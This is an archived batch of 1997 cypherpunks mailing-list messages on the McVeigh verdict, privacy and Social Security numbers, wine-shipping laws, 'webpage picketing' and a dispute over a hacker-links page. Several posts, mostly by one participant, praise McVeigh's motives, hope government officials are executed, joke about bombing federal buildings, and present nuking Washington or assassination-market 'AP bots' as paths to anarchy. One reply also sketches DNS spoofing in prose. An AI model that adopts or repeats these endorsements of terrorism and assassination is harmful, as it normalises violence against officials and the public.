Also, I believe he was tried in Denver, Collorado? - Don`t they use 
lethal injection?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 08:14:29 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: McVeigh
In-Reply-To: <199706030603.CAA22498@dhp.com>
Message-ID: <Pine.LNX.3.91.970603184850.90C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Hallam-Baker, realizing he is a soft target, wrote:
> 
> > Appologists for McVeigh should consider that his actions did not
> > advance the militia cause an iota, it destroyed it and along with
> > it much of the right wing fringe.
> 
>   Or perhaps just sent more people underground.
>   Many remarked that the Jim Bell arrest chilled the free speech
> of many list members but there are now at least two active AP Bots
> on the internet.
>   I haven't noticed anybody "apologizing" for McVeigh or Bell.
> There are merely those who act or who don't act.

I would say that the visible and government-vilified militia groups have 
been damaged by this, because of the killing of innocents. Where is the 
second AP bot, I know about the one at sympatico.......

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Wed, 4 Jun 1997 10:04:52 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199706040151.SAA08692@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



asgaard@cor.sos.sll.se writes:
--- cuts ---
 > Laws against matching various 'public' registers for multiple entries
 > are also making life easier for tax evaders (who might be libertarian
 > heroes of course, but remember that for most salary-dependent people
 > of lesser income it works like this: the more the entrepreneurs evade
 > taxes, the more they have to pay to support the nomenclatura)
--- cuts ---

This assertion relies on the faulty assumptions that:

A) Government expenditures (particularly at the state and federal
   level) are at all related to tax revenue.

B) Government expenditures cannot be decreased.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:33:22 +0800
To: Mike Duvos <mpd@netcom.com>
Subject: Re: Guilty Verdict in Denver Show Trial
In-Reply-To: <199706021939.MAA09926@netcom18.netcom.com>
Message-ID: <Pine.LNX.3.91.970603185036.90D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> For extra credit, let's have a pool to predict the number of federal
> buildings which will blow up on the day of the execution. 

A BD (building destruction) bot then?

I`m sure there will be one or two, to mark the fact that the bombing took 
place on the day of the murders at Wako (or was it Ruby ridge?, my memory 
fails me).

I certainly hope a large number of government criminals are executed on 
the same day as McVeigh.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 11:36:41 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102808afb696432bfa@[207.167.93.63]>
Message-ID: <3.0.1.32.19970603185312.0073f2e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:03 PM 6/1/97 -0400, Robert A. Costner wrote:
>A new grocery store opened down the street from me.  
>They have lots of special prices, but only available to "club members".
>Club cards are free, but you have to fill out a form. The form asks for
>1.Name >2.  Address >3.  Phone Number >4.  Spouse name
>5.  Social Security number
>In exchange for giving this information, the store will give me a 35 
>cent discount on each package of soft drinks I purchase.  
>This is not a check cashing card, that is a separate form. 
>Why does the store need my social security number ....

They're trading a discount on purchases for marketing information.
If you us an obvious pseudonym, they'll know that
Johnny Cash always buys Brand X pretzels with Brand Y beer,
but the SSN lets them check with TRW/Equifax/Etc. and find that
You, William J. Clinton, a married homeowner making $200K/year,
also have an American Express card and rent N hotel rooms/year,
and already subscribe to Soldier of Fortune and Rent-A-Politician,
but don't yet get the Nukes-R-Us or Victoria's Secret catalogs,
which is more valuable marketing information than just the groceries.

Some places might still be willing to give you a discount for the
pseudonym, but others combine their discount card with a check-cashing
card so they're probably not only not interested, but won't accept it
because [bounced-check-tracking credit bureau] doesn't consider
SSN#000-00-0000 unique and doesn't have a record for 999-65-4321.

>Yes, I would support a law that forbids private companies to ask for 
>social security numbers except for tax purposes.

I'd categorize you as well-meaning-but-needing-to-think-longer
rather than an evil "Uber-Enemy :-) 
Private companies asking for information are engaged in free speech -
you don't have to give them the answer they're hoping for,
and you don't have to do business with them if you don't want.
Radio Shack keeps asking for my phone number, I keep not giving it,
and the only thing that's changed about our business relationship
for many years is that they no longer sell real electronic components
and don't seem to have their free-battery club scam any more.

On the other hand, when the government _requires_ private companies to 
collect Nationalized TaxPayer ID Numbers to be allowed to deal with you,
it's a problem - for instance, requiring SSNs for bank accounts,
requiring SSNs for employers to verify with La Migra that you're a
Real Tax-payin' American instead of some Job-Stealin' foreigner,
requiring documentation on cash transactions over $750,
requiring car dealers to collect your SSN for car registration, etc.,
then there's clearly a privacy problem.  Sometimes you can avoid it,
by using non-US banks, contracting firms, etc., but it's a hassle.

One of the big effects of this is that the SSN _is_ a widely available
mostly-unique ID number that's useful for correlating information.
An alternative, if the government wanted to promote privacy,
would be to replace the Single SSN with a bunch of tax numbers
(either on a smartcard or just giving you a list on paper)
which would let you give everybody who needs a TaxId a different number.
They could still correlate all your tax information, but nobody else
would have the information to know that John Smith, bank-user,
is John Smith, home-owner, or John Smith, car-buyer.
Of course, this number would need to be more than 9 digits,
so it would break lots of old software, you wanted that stuff
broken anyway, and hey, the year 2000's coming as well :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Wed, 4 Jun 1997 07:11:49 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: Webpage picketing?...
In-Reply-To: <3.0.1.32.19970603164718.00a218e0@labg30>
Message-ID: <Pine.GSO.3.95.970603185336.24937F-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 3 Jun 1997, John Deters wrote:

> Note that both of these require you to be an unscrupulous stealer of other
> peoples browser space.  They also require the users arrive at your site
> first, and leave via your links (their own bookmarks or typed URLs will let
> them off the hook.)  I don't know of a way (short of usurping a DNS
> server's authority) of getting hooked into their site from the first.  I
> suppose if you ran a router between the site you wished to hijack and the
> viewer whom you've hijacked, you could, but we're talking MAJOR no-no (and
> lots of code) here.

It's not too difficult (in theory) to exploit some race conditions in
recursive DNS lookups and to forge entries for sites.  By doing this you
should be able to redirect most sites to your site, from at least a
selected audience.  (Those people whose primary nameserver you can usurp)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
ryan@michonline.com                           Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:38:36 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Rotenberg or Berman? (was Re: e$: Beltway piglets and other barnyard animals)
In-Reply-To: <v03020900afb8b3e72ca1@[139.167.130.246]>
Message-ID: <Pine.LNX.3.91.970603190150.90F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Dr. Froomkin, who I admire and respect very much, may call remarks like
> those cannibalism (nice Carib indian word, cannibal), but for myself, I
> prefer to think of it as Texas barbeque. :-).
> 
> Here, Micheal, have some of those baby back ribs over there. I just made
> them myself. Just a touch of habanero in the sauce (and Pearl beer, of
> course) makes all the difference in the world.


Your semi-flippant comment has actually given me a really good idea:

I had thought guns were our best defence against the evil empire, I now 
realise a log fire and a spit are more appropriate, I look forward to 
eating Tony Blairs liver with a nice Chianti <draws air through teeth in 
a silence of lambs type manner>...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 4 Jun 1997 07:24:03 +0800
To: cypherpunks@toad.com
Subject: Re: Remove this link immediately
Message-ID: <199706032304.TAA20710@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



> > > > > Your hackers resource page contains a link to my GURU'S LAIR WEB site
> > > > > at http://www.tinaja.com
> > > > > Please remove this link.
> > > > > Please do so immediately.
> > > >
> > > > Short answer, no. If you don't want links to it don't put it on the net.

  "All you private property is target for your enemies."
                - Jefferson Airplane






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 11:44:41 +0800
To: cypherpunks@toad.com
Subject: Update on Wine Politics
Message-ID: <3.0.1.32.19970603190607.0073f2e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

A few weeks ago there was a thread about Florida's proposal
to ban direct shipments of wine into the state, making it a _felony_
for anybody except a state-licensed wholesaler to import alcohol.
The weekend I was up in the California wine country, and one of the
local papers had an article on other states limiting direct shipments.
Apparently about 24 states ban them, though only one makes it a felony;
the rest treat it as commercial business, either civil or criminal.
[That's evil also, but at least it's not an outrageous penalty...]

While mail-order wine has been a possibility for a while, the 
Internet has changed the marketing economics enough to be interesting,
and some of the Internet wine businesses have been fined by a few states,
with typical penalties of $7-35K.  At least one of them has taken a
Frissellian approach to the problem - $7000 isn't a big fine,
and it'll cost the government more than that to collect, so they're
ignoring it and trusting the economics and uncatchability
to encourage the government to ignore it also.

			Bill


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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s9s8RbkdOjaZn355ygKJtTGjlekgAQ/aNLNyZorFDWRfzMjIne1h4g==
=NL7B
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 07:43:18 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03007803afb8f6640d36@[204.91.138.31]>
Message-ID: <Pine.LNX.3.91.970603191101.90H-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> One other point about EPIC's role in the crypto debates -
> we've done very little in the legislative realm other
> than to argue for relaxation of crypto controls,
> oppose DT, DT funding, and criminalization of crypto.
> You want to find the folks cutting the deals, look
> elsewhere.

Behind the scenes for example?

> against Clipper, in Paris against TTP, and two
> weeks ago in London against the DTI proposal.

No thanks, we don`t want your "help". Of course you are free to act as 
you like, but your co-operation with the criminal scum that rule us shows 
you as what you are.

> See, another problem with the Libertarian view of the world is
> you can't accept the idea that an organization in Washington,
> DC does real government oversight or political advovacy. It
> doesn't fit with your notecard-sized description of the world.

My view of the world is wider than your view up the ass of Washington 
poloticians when you are licking your way to a deal.

> Free speech is wasted on closed minds.

My time is wasted on you...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 4 Jun 1997 08:14:03 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: May's Banal Rant
In-Reply-To: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.91.970603191423.90I-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Anarchy can not be achieved by negotiations or cooperation with any
> branch of government. 

Very succintly put, and straight to the point. Even minarchism could not 
be achieved by compromising or negotiating with the current system.


> Neither can crypto-anarchy be achieved by nuking
> DC.

This is not so certain, crypto-anarchy would of course be achieved if 
anarchy in general were achieved, this could occur if strong action were 
taken such as nuking DC. I believe more selective systems such as AP will 
eventually cause the downfall of government, and will do so in a much 
more ethical and discrimatory manner.

> thinking that "something is better than nothing" or "the bastards need to
> receive the punishment they so richly deserve". Neither view will help to
> further crypto-anarchy in any meaningful way.

I don`t believe they are at all comparable statements, the first is a cop 
out, the second simply carries the discussion to its logical conclusion, 
that agressors must be punished and agressive acts must be prevented.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 4 Jun 1997 09:08:47 +0800
To: cypherpunks@toad.com
Subject: Webpage picketing
Message-ID: <199706040021.TAA16641@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




Hi,

I want to thank everyone for their copius sharing of knowledge on this
issue. Where I was originaly going with this was comparing a supermarket and
the picketers on a public sidewalk and how the police must protect the
picketers from interference and interfering with customer access. The
thought that has been going around in my head for a few days was consider a
site whose traffic does over a publicly funded backbone (ie sidewalk &
customers). Now on this site is a webpage to which another group objects to.
Under what conditions akin to sidewalk use might a provider or network
provider be forced to provide any user requesting a link to the
objectionable page with the page of the objecting group.

What I see is a simple single screen page that immediatly takes you to the
desired page. Something conceptualy akin to a picket sign.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@ssds.com>
Date: Wed, 4 Jun 1997 10:09:40 +0800
To: Hallam-Baker <paul@fatmans.demon.co.uk>
Subject: Re: McVeigh
Message-ID: <199706040145.TAA04223@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Just thought I'd fire off a few comments re: the okc bombing

> Date:          Tue, 3 Jun 1997 18:43:10 +0000 (   )
> From:          Paul Bradley <paul@fatmans.demon.co.uk>
> To:            Hallam-Baker <hallam@ai.mit.edu>
> Cc:            cypherpunks@toad.com
> Subject:       Re: McVeigh

> 
> > > Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> > > of the OKC bomber.

Its more like poor innocent workers and kids who are just more 
victims of the insanity initiated by the Scott, Weaver and Waco 
murders.  Brought to you by the good government of holy statist
religion.

None of those criminals have been tried, much less convicted.

My favorite quote from the Scott murder (I believe it was from the
local prosecuting attorney).

"...well they just lost their moral compass"

And so did McVeigh.
  
> > 
> > I'm surprised at the concern. After all I've not noticed militia
> > supporters and appologists speaking out against the death penalty.
>

Irrelevant.
 
> Tim McVeigh certainly acted for the right reasons.

He acted for reasons that had nothing to do with murdering innocents.
I guess this was his US Army training in the Gulf.  I think it was an 
act of cowardice.  If you have a grudge with some US officials and 
you think you will be the avenging angel it takes much more courage 
to attack them personally than to blow up a building.

But if we're talking relative evils then at least his motives were not
to plunder someone's land, to run live stormtrooper excercises
against a church or to collect a paycheck for assasinating a mother (baby 
in arms) from a safe distance.



> 
> Whether McVeigh himself did it or not is questionable, I believe he did, 
> this is just a gut feeling, no jury should have convicted him on the 
> pathetic collection of circumstantial evidence presented.

The only thing I think he should have been convicted of is 
conspiracy.  The rest of the so-called evidence is pretty flimsy and
never actually locates him at the scene of the crime.  Of course
conspiracy in an act like that should probably get you life.

...misc rantings deleted....

HB states...
    
> > McVeigh ripped the heart out of the militia movement, he demonstrated
> > what it was really about. Ironically the Oaklahoma bombing may have
> > had precisely the effect McVeigh desired but in a very different 
> > sense. It was a wake up call to defend the country from fascism 
> > but the fascist threat was McVeigh and the millitia movement.
>

Hmmm.  Well just in case anyone has forgotten, McVeigh was ratted out
by the Michigan Militia when he went to one (1) of their meetings.  
This happened because he tried to sell them the idea of 
blowing up federal buildings.   The MM called the FBI, which admitted 
it.  I guess the Feds thought..."oh, just another wacko wanting to blow 
up federal buildings.  We'll get to him later.  Right now we have 
more important things to attend to - like covering up Waco."

> > recovered from the beer hall putsch. Alternatively they can 
> > loudly claim that McVeigh was "framed" in the same way that
> > other neo-NAZIs on the net claim the holocaust a fake, i.e.
> > so that nobody really believes it. I suspect that this script
>

Cool.  Lets set up an excellent strawman to knock down.  How come 
whenever HB (and other socialist/statists) talk about the opposite of 
statism they always talk about NAZI's.  (remember National 
>Socialist's<).  Oh, fascism is another favorite label.  Fascism is 
from the Latin "fascia" - - to bind together.  Politically fascism is 
the melding together of state and corporate interests until each
serve each other well.  Maybe we can identify fascism on the
American scene.  CNN lapdogs reporting Waco "news" directly from
the FBI's on-site mouthpiece.  Other big-time media keeping their
respectful 3 miles from the Davidians' religious community.  (not 
compound, not cult).  Whatever happened to the reporter in the field 
from the Vietnam war days?  What about AP filtering out the DEA siezure 
of a military cargo aircraft importing 1 ton of cocaine into Alameda 
naval airstation?  What about 60 minutes' analysis of the infrared 
footage where the ATF was mowing down citizens fleeing the Waco 
barbecue?  Their experts told them that murder was being committed.
Nothing on TV.

...that's fascism.

(sung to the tune of That's Entertainment)



> The militias would be better to disown McVeigh and condemn his alleged 
> actions because he killed innocents. 
>

See above.  The MM rejected him, but the FBI thought he was harmless.

End game.  McVeigh guilty of whatever.  They are probably right.  
What I'm more interested in is the nest of viper's behind the man.
Since we're invoking WWII Nazi history, can anyone say,
"burning of the Reichstaag"

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 4 Jun 1997 11:02:13 +0800
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Webpage picketing
In-Reply-To: <199706040021.TAA16641@einstein.ssz.com>
Message-ID: <3.0.2.32.19970603194655.008a12f0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:21 PM 6/3/97 -0500, Jim Choate wrote:

>Under what conditions akin to sidewalk use might a provider or network
>provider be forced to provide any user requesting a link to the
>objectionable page with the page of the objecting group.

Let's abandon the meatspace metaphor, and just talk about what you're
proposing - you want to insert third parties into a communication between
two non-consenting parties. 

Why is this useful? I think it sounds like an awful idea.

>What I see is a simple single screen page that immediatly takes you to the
>desired page. Something conceptualy akin to a picket sign.

I don't see any reason to, if we adopt your reasoning, limit this practice
to web pages - shit, we ought to be able to attach things to each other's
E-mail messages, hijack each other's IRC sessions, tack things onto the end
of each other's files sent via FTP, add things to other people's NFS
directory trees .. yeah. 

Who's going to keep track of all of this stuff? Are ISP's and backbone
providers supposed to give other people free hard disk space/connectivity
to do this? Or do you want the government to do it? What about blocking
software, which erases the picketing notices? Will that be allowed?

Conventional picketing works where private space is adjacent to public
space, such that people in the public space can limit access to the private
space, or do things in the public space which are visible to peole in the
private space. Adjacency isn't really meaningful in "cyberspace", because
it depends on arbitrary and changeable "locations" .. and there's very
little "public space" in cyberspace, at least in the way that there's
public space (like streets and roads and parks) in meatspace. 

Do you think we should adopt "bookspace picketing", whereby public
libraries are obligated to include hostile rants with books in their
collections, or even notations that "The Authoritarian League believes this
book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to
learn more"? Perhaps we should implement a program of "wordspace
picketing", whereby we're obligated to, before we orally discuss our own
opinions in a public place, mention the counterarguments made by critics.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 4 Jun 1997 09:30:05 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Hacker Links page (fwd)
Message-ID: <199706040054.TAA16887@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From telecode@primenet.com Tue Jun  3 16:51:58 1997
Message-ID: <33949461.5B@primenet.com>
Date: Tue, 03 Jun 1997 15:02:09 -0700
From: Duffy <telecode@primenet.com>
Reply-To: telecode@primenet.com
Organization: Telecode (http://www.hackerscatalog.com)
X-Mailer: Mozilla 3.0 (Win95; U)
MIME-Version: 1.0
To: James Choate <ravage@einstein.ssz.com>
Subject: Re: Hacker Links page
References: <199706032115.QAA25185@corp.tivoli.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

James,

My most sincere apologies for any personal inconvenience to you in this
matter. The sole purpose of the request was just to ask you to delete a
link to a site. We didn't intend or foresee any problems with the
request, but there were and I believe a more detailed explanation is in
order.

We here at Telecode were notified by Mr. Lancaster several weeks ago
that he wished that the link(s) we had given to his site be removed. No
reason was given, and of course, none was required. We complied within 2
hours of the receipt of the e-mail and removed both links from our 2
site:
	
	http://www.hackerscatalog.com
	
	http://www.cinecam.com


On Monday, Mr. Lancaster did a search at HOTBOT and found another link
to what he "thought" to be a "Mirror" of our site, namely, your web page
with the links. When we looked at the page, we determined that it did
look like or was "close enough" to, our web page of Hackers Links at
www.hackerscatalog.com/web.htm. 

We responded to him via e-mail that more than one person in the past has
posted this page to their site without permission (not needed anyway)
and that on several occasions our entire site has been lifted. We were
not pointing to you specifically, but just speaking in "general terms"
stating that's possibly how the linkage had occurred.

I also remarked that I would do my best to contact and ask that the link
be removed. I did this because it "appeared" to Mr. Lancaster that the
both yours and our site were somehow "connected". Of which, there are
not. We do not claim that there is any copyright infringement on you
part and we also state openly that your are the "true and rightful owner
of that page". We believe, because of the similarity of the pages, that
we had a "responsibility" at least to ask that you remove the link. So,
we did.

Again, I apologize for any inconvenience in this matter.

Duffy 
Office Manager, Telecode
www.hackerscatalog.com





> 
> Hi Duffy,
> 
> > James,
> >
> > With regards to the page URL listed below:
> >
> >       http://einstein.ssz.com/ravage/hacker.html
> >
> > The owner of the site of one the links listed has asked to have their
> > URL removed from this page. Since the source of the page was "The
> > Hackers Catalog", they contacted us. We removed their link promptly,
> > however, a web search showed your URL still remaining on the page. They
> > have asked us to remove all links back to them, so I am asking you to
> > remove the link to the "Guru's Lair" as soon as possible. It's the first
> > one on the top of the page.
> >
> > Thanks for helping...
> >
> > duffy
> > telecode@primenet.com
> 
> Please do not send further email to 'jchoate@tivoli.com' as this has
> nothing to do with my business or the issue under discussion. ALL
> correspondance should occur through 'ravage@ssz.com' or phone at
> 512-451-7087 (8pm - 10pm CST only). Should I receive further email
> at Tivoli - IBM's site I will inform them of the breach on your part.
> 
> First, let's set the record straight. I was NEVER asked to do anything.
> It was DEMANDED that I take the link down. When I explained that I would
> not do that I received an email accussing me of criminal libel. Not what
> I would call a request by any definition of that word. I don't like being
> threatened and it makes me less than cooperative when it happens.
> 
> Furthermore, why should I take it down? Does the owner plan on dropping
> the site and therefore it is a dead link? Certainly I will take it down
> because it reflects badly on me having dead links.
> 
> As to where the html that I currently possess came from originaly, I
> don't have a clue. I received it as a piece of email from somebody quite
> a while ago (memory says over a year). If it really did come from The
> Hackers Catalog and they are claiming copyright on it, I have no problem
> removing their html, I would replace it with the same links using my own
> text and html thereby removing the infringment. Is that what you are
> requesting?
> 
> The next question that needs asked is whether there is any copyrighted
> material other than The Hackers Catalog claim. The link does not use
> any text or graphics from the target site. It furthermore does not even
> explicity identify the link. So it is clear that there is no copyrighted
> material from Don or his site residing on my server.
> 
> So, the remaining question is does Don have the legal right to limit who
> may link to it. I do not believe that Don has any more right to decide
> who can link or furthermore visit his sight than my own. This in effect
> means none.
> 
> I believe the only reasonable responce that I can have to this 'request'
> is to decline on any other issue other than removing the The Hackers
> Catalog and replacing it with my own file.
> 
> So, are you representing The Hackers Catalog and requesting the removal
> of their fragment of html? If so then I have no problem replacing the file
> as soon as I receive a written notice from a legal representative detailing
> the complaint and the time period I have to correct the situation.
> 
> If you are instead representing Don and requesting that I remove that
> specific link because of his disatisfaction with its location then I must
> refuse. I furthermore would request, as I have of Don, to forward me the
> name and number of the appropriate lawyer so that my legal council may
> contact them and begin proceedings.
> 
> Have a nice day.
> 
>                                                Jim Choate
>                                                The Armadillo Group
>                                                ravage@ssz.com
>                                                512-451-7087






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kirk Fort" <kirkfort@teleplex.net>
Date: Wed, 4 Jun 1997 08:17:23 +0800
To: <cypherpunks@toad.com>
Subject: Re: okc trial
Message-ID: <199706040006.UAA25829@teleplex.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


> You do not question McVeighs guilt?
I do not question McVeighs guilt. I do question that it was a solo act. I
am also not convinced it wasn't a government sting operation gone bad.

> Also, I believe he was tried in Denver, Collorado? - Don`t they use 
> lethal injection?
oh well, not quite as good, but it works none the less. Anyone know the url
to the "means of execution" list?

Kirk


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Wed, 4 Jun 1997 02:39:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: May's Banal Rant
In-Reply-To: <v03102807afb8d61f070a@[207.167.93.63]>
Message-ID: <Pine.HPP.3.91.970603194454.19822D-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 2 Jun 1997, Tim May wrote:

>>I believe I'm under a fair risk of being named as a co-conspirator
>>of Bell's...

But on the contrary, I clearly remember that you were one of very
few who actually warned Jim Bell in clear language that he might be
crossing the line in some particular rants, where he parted from the
more or less pure theoretical level of discussion and hinted 'threats'
at almost-named 'targets'. Of course, he was in many peoples killfiles
and others just wouldn't bother to comment on what was generally looked
upon as lunacy - he has many more 'friends' on the list now than he ever
had before his arrest, and that's understandable (protection of the
right for loons to speak up). Your warning him (twice, I think) was
a show of good-heartedness, really, as he might well have listened more
to you than to those publically dismissing him with just utter disgust
(like Phill Hallam-Baker*).


Asgaard

*Why is it that people of finer (?) English heritage often has a double
second name? Someone once suggested to me that it originates from having
(or an ancestor having) adopted the name of both one's 'marital' father
and one's biological father, for reasons of property inheritance, but
I never believed that one. Just curious.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 11:47:46 +0800
To: telecode@primenet.com
Subject: Re: Hacker Links page
In-Reply-To: <33949461.5B@primenet.com>
Message-ID: <199706040122.UAA17048@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi Duffy,

First, let me say it has been quite pleasant dealing with you on this issue.
I appreciate your even-headed approach.

> My most sincere apologies for any personal inconvenience to you in this
> matter. The sole purpose of the request was just to ask you to delete a
> link to a site. We didn't intend or foresee any problems with the
> request, but there were and I believe a more detailed explanation is in
> order.

Agreed.

> We here at Telecode were notified by Mr. Lancaster several weeks ago
> that he wished that the link(s) we had given to his site be removed. No
> reason was given, and of course, none was required.

Unfortunately in this case my policy was diametricaly opposed to yours.
Unless somebody is a paying customer or has legal justification I don't
comply with a great many external requests, I try to make as few as possible
as well.

I support a wide range of users and they specificaly request that I keep
them up to date with what is going on in a variety of technology areas.
Not only do I send a copius amount of forwards from various mailing lists, 
print sources, etc. but I also keep a webpage with some critical links to
resources they have inquired about. Don's was one of them.

[Deleted chronology]

> I also remarked that I would do my best to contact and ask that the link
> be removed. I did this because it "appeared" to Mr. Lancaster that the
> both yours and our site were somehow "connected". Of which, there are
> not. We do not claim that there is any copyright infringement on you
> part and we also state openly that your are the "true and rightful owner
> of that page". We believe, because of the similarity of the pages, that
> we had a "responsibility" at least to ask that you remove the link. So,
> we did.

A sign of an honorable business.

> Again, I apologize for any inconvenience in this matter.

Not a problem. Sounds like you have been the one inconvenienced by this
the most.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
